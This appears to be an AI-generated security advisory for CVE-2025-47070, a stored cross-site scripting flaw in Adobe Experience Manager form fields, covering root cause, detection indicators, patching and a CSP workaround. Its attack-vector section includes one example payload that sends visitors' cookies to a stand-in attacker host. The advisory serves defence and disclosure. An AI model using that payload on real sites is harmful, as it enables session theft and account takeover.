Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB
CVE-2025-47070 Overview
Adobe Experience Manager (AEM) versions 6.5.22 and earlier contain a stored Cross-Site Scripting (XSS) vulnerability [CWE-79]. A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields. The payload executes in a victim's browser when they load the page containing the compromised field. The flaw affects both on-premise AEM deployments and AEM Cloud Service. Adobe addressed the issue in security advisory APSB25-48.
Critical Impact
Attackers with low-privilege authoring access can plant persistent JavaScript payloads that execute against any visitor rendering the affected form, enabling session theft, UI redress, and client-side account takeover.
Affected Products
- Adobe Experience Manager 6.5.22 and earlier (on-premise)
- Adobe Experience Manager Cloud Service (AEM as a Cloud Service)
- Any AEM-hosted pages that render user-supplied form field content
Discovery Timeline
- 2025-06-10 - CVE-2025-47070 published to the National Vulnerability Database
- 2026-06-17 - Last updated in NVD database
Technical Details for CVE-2025-47070
Vulnerability Analysis
The vulnerability is a stored XSS flaw in AEM form field handling. User-supplied input to form fields is persisted without sufficient output encoding or input sanitization. When a victim later browses to a page containing the stored content, their browser parses and executes the attacker's JavaScript in the context of the AEM site's origin.
Exploitation requires an authenticated attacker with low privileges, typically an author or content contributor role. The attack scope extends beyond the vulnerable component because stored scripts run under the trust boundary of the delivery site, impacting end users and administrators who view the content.
Root Cause
The root cause is improper neutralization of input during web page generation [CWE-79]. AEM accepts HTML or script-bearing payloads in form field properties and renders them back without context-appropriate escaping. The absence of a strict Content Security Policy compounds the issue by allowing inline script execution.
Attack Vector
The attack vector is network-based and requires user interaction. An attacker authenticates to the AEM author instance with a low-privilege account and submits a payload such as <img src=x onerror=fetch('https://attacker.tld/?c='+document.cookie)> into an affected form field. Once the page is published or previewed, any visitor loading the form triggers execution. See the Adobe Security Advisory APSB25-48 for component-level detail.
Detection Methods for CVE-2025-47070
Indicators of Compromise
- Form field JCR properties in /content containing <script>, onerror=, onload=, or javascript: substrings
- Unexpected outbound requests from end-user browsers to attacker-controlled domains after rendering AEM-authored pages
- Author account activity creating or editing form components outside normal change windows
Detection Strategies
- Query the JCR repository for form component properties containing HTML tags or event handler attributes
- Review AEM audit logs for cq:lastModifiedBy entries on form components correlated with low-privilege author accounts
- Monitor Dispatcher and CDN logs for responses containing script sinks served from form-rendering templates
Monitoring Recommendations
- Enable Content Security Policy reporting on AEM-delivered pages and ingest violation reports for anomaly review
- Alert on new or modified form components authored by accounts without a change ticket
- Baseline egress traffic from published AEM pages and flag deviations indicative of data exfiltration from injected scripts
How to Mitigate CVE-2025-47070
Immediate Actions Required
- Upgrade on-premise AEM to the fixed release listed in Adobe Security Advisory APSB25-48
- Confirm AEM as a Cloud Service tenants are on the current release channel
- Audit author and contributor accounts, revoking unused low-privilege access to the form components
- Review recently modified form field content for injected script payloads and purge affected nodes
Patch Information
Adobe released fixes in security bulletin APSB25-48 covering AEM 6.5.x and AEM Cloud Service. Administrators should apply the latest Service Pack or cumulative hotfix for the 6.5 branch and ensure Cloud Service environments are updated to the current release. Refer to the Adobe Security Advisory APSB25-48 for exact build numbers.
Workarounds
- Deploy a strict Content Security Policy that disallows inline scripts and restricts script sources to trusted origins
- Configure the AEM Dispatcher to filter responses containing suspicious script patterns in form field output
- Enforce least-privilege permissions on form-authoring groups and require review workflows before publication
# Example Dispatcher CSP header enforcement
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'"
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB

